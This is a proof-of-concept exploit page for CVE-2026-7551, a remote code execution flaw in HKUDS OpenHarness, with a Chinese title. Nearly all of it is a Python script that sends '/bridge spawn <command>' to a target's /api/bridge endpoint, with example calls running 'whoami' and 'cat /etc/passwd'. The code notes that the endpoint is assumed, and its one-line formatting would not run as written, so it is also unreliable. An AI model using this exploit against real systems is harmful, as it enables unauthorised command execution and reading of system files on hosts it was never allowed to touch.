CVE-2026-7551 HKUDS OpenHarness远程代码执行漏洞

import requests def exploit_openharness(target_url, command): """ PoC for CVE-2026-7551: Remote Code Execution via /bridge spawn command. """ # Construct the malicious payload payload = f"/bridge spawn {command}" # The endpoint might vary, assuming a generic message endpoint based on the description endpoint = f"{target_url}/api/bridge" headers = { "Content-Type": "application/json" } data = { "command": payload } try: print(f"[*] Sending payload: {payload}") response = requests.post(endpoint, json=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Command sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Example usage # exploit_openharness("http://target-ip:port", "whoami") # exploit_openharness("http://target-ip:port", "cat /etc/passwd")